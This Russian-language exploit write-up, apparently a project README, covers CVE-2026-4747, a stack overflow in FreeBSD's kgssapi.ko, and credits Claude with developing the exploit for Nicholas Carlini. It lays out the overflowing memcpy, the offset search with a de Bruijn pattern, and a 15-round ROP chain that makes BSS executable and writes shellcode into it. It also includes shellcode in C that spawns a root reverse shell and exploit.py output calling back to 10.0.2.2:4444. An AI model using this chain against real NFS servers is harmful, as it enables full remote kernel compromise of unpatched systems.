
Удалённый эксплойт RCE для ядра FreeBSD CVE-2026-4747, переполнение буфера стека в kgssapi.ko, приводящее к получению root-оболочки через ROP-цепочку и шеллкод.
____ __ ______ ____ ___ ____ __ _ _____ _ _ ___
/ ___/\ \ / / ___| |___ \ / _ \___ \ \ \ | ||___ | || ||__ \
| | \ \ / /| | ___ __) | | | |__) | \ \ _ | | / /| || |_ ) |
| |___ \ V / | |___|___| / __/| |_| / __/ \ \ | |__| | / / |__ _|/ /
\____| \_/ \____| |_____|\___/_____| \_\ \____/ /_/ |_||___|
Переполнение буфера в стеке в kgssapi.ko → root shell примерно за 4 часа
«Первый эксплойт удалённого RCE в ядре, обнаруженный и разработанный ИИ. Общее время: ~4 часа реальной работы.»
— Обнаружено Николасом Карлини с использованием Claude (Anthropic) · Опубликовано 26 марта 2026
CVE-2026-4747 — это уязвимость переполнения буфера в стеке (stack buffer overflow), расположенная в kgssapi.ko, модуле ядра FreeBSD, реализующем аутентификацию RPCSEC_GSS для NFS.
Функция svc_rpc_gss_validate() копирует тело учётных данных (credential body), контролируемое атакующим, в буфер размером 128 байт в стеке (rpchdr[]) без проверки размера. Поскольку 32 байта уже заняты полями RPC-заголовка, остаётся только 96 свободных байт — но уровень XDR допускает учётные данные размером до 400 байт, что даёт 304 байта переполнения.
| Поле | Значение |
|---|---|
| CVE ID | CVE-2026-4747 |
| CWE | CWE-121 (переполнение буфера в стеке) |
| Компонент | kgssapi.ko / librpcgss_sec |
| Протокол | NFS / RPCSEC_GSS / Kerberos |
| Требуемые привилегии | Действительный билет Kerberos (низкие привилегии) |
| Воздействие | Удалённое выполнение кода в ядре → uid 0 |
| CVSS | 9.8 Critical |
| Исправлено | FreeBSD-SA-26:08.rpcsec_gss |
26 марта 2026 ── FreeBSD публикует FreeBSD-SA-26:08.rpcsec_gss
Автор: "Nicholas Carlini using Claude, Anthropic"
29 марта 2026 ── 09:45 PDT: Claude получает запрос на разработку эксплойта
05:00 PDT: Claude предоставляет работающий root shell
Итого: ~7 часов реального времени / ~4 часа реальной работы Claude
Человек большую часть процесса был AFK.
/* В svc_rpc_gss_validate() — kgssapi.ko */
uint8_t rpchdr[128]; /* Буфер в стеке */
/* 32 байта уже заняты полями RPC-заголовка */
/* Остаётся только 96 свободных байт */
/* XDR допускает учётные данные до 400 байт */
/* 400 - 96 = 304 байта переполнения → перехват RIP */
memcpy(rpchdr, credential_body, credential_len); /* ← ОШИБКА: размер не проверяется */
В FreeBSD 14.x отсутствуют:
int32_t[])Это делает переполнение → контроль RIP прямым.
Атакующий (сеть)
│
│ Действительный билет Kerberos для nfs/target@REALM
│
▼
NFS Server (порт 2049/TCP)
│
│ RPCSEC_GSS запрос с credential_len = 400
│
▼
svc_rpc_gss_validate() ← кольцо ядра 0
│
│ memcpy без проверки размера
│ [128 байт буфера + 304 байта переполнения]
│
▼
Разрушение стека → управляемый RIP → ROP-цепочка → шеллкод
│
▼
kproc_create() + kern_execve("/bin/sh") → uid=0 reverse shell
Claude решил 6 различных задач, чтобы пройти путь от advisory до root shell:
# VM FreeBSD 14.4-RELEASE с:
# - 2+ CPU (FreeBSD порождает 8 NFS-потоков на CPU; эксплойту нужно 15 раундов)
# - загруженным kgssapi.ko
# - активным NFS на порту 2049
# - настроенным MIT Kerberos KDC (требуется для достижения уязвимого кода)
# - QEMU port forwarding: host:2049 → guest:2049, host:8888 → guest:88 (KDC)
# Критичная конфигурация Kerberos на атакующем:
# /etc/krb5.conf
[libdefaults]
rdns = false # Без этого: билет для nfs/localhost@REALM (неверно)
dns_canonicalize_hostname = false # Сервер отклоняет с KRB5KRB_AP_WRONG_PRINC
Шеллкод занимает 432 байта, но на ROP-цепочку доступно только 200 байт на пакет.
Раунд 1: ROP → pmap_change_prot(BSS, RWX) ← сделать BSS исполняемым
Раунды 2-14: ROP → запись 32 байт шеллкода в BSS (4 записи × 8 байт)
Раунд 15: ROP → запись последних байт + JUMP на шеллкод
Бюджет на раунд: 4 записи × 40 байт = 160 байт + 24 байта exit = 184 байта ✓ (< 200)
; Каждый раунд завершается kthread_exit(0) вместо обычного возврата
; Сервер не падает — просто теряет один NFS-поток
; С 2 CPU: 16 доступных потоков → достаточно для 15 раундов
# Последовательность Де Брейна → каждая подстрока из 8 байт уникальна
# Отправить как credential body → ядро падает → прочитать RIP из crash dump
# Дизассемблирование показывало смещение 168 → реально: 200 байт
# Разница: 32 байта GSS-заголовка, которые статический анализ не учёл
pattern = cyclic(400) # Де Брейн из 400 байт
# Crash dump: instruction pointer = 0x6941624162413941
# → cyclic_find(0x6941624162413941) = 200
Шеллкод выполняется в чистом NFS-потоке ядра — без vmspace, без trapframe.
/* Фаза 1 (в шеллкоде захваченного NFS-потока): */
kproc_create(worker_func, NULL, NULL, 0, 0, "revshell");
kthread_exit(); /* Чисто убить NFS-поток */
/* Фаза 2 (в новом процессе): */
/* 1. Очистить debug registers (аппаратный баг — см. Шаг 5) */
__asm__("xor %%eax, %%eax; mov %%rax, %%dr7" ::: "rax");
/* 2. Выполнить /bin/sh */
kern_execve("/bin/sh", args, envp);
/* 3. КРИТИЧНО: Очистить флаг P_KPROC */
/* Без этого fork_exit() вызовет kthread_exit() и убьёт процесс */
proc->p_flag &= ~P_KPROC;
/* 4. Возврат → fork_exit() → userret() → iretq → ring 3 → uid=0 shell */
Симптом: Дочерний процесс падает с trap 1 (debug exception) на валидной инструкции.
Причина: kproc_create/fork1 копирует PCB родителя, наследуя брейкпоинты DDB,
оставшиеся от предыдущих падений во время разработки эксплойта.
Исправление: Две инструкции перед kproc_create:
xor eax, eax
mov dr7, rax ← Отключает все аппаратные брейкпоинты
$ python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
==============================================================
CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================
Target: 127.0.0.1:2049
Callback: 10.0.2.2:4444
SPN: nfs/[email protected]
Shellcode: 432 bytes (54 qwords)
Delivery: 15 rounds (1 pmap + 14 write)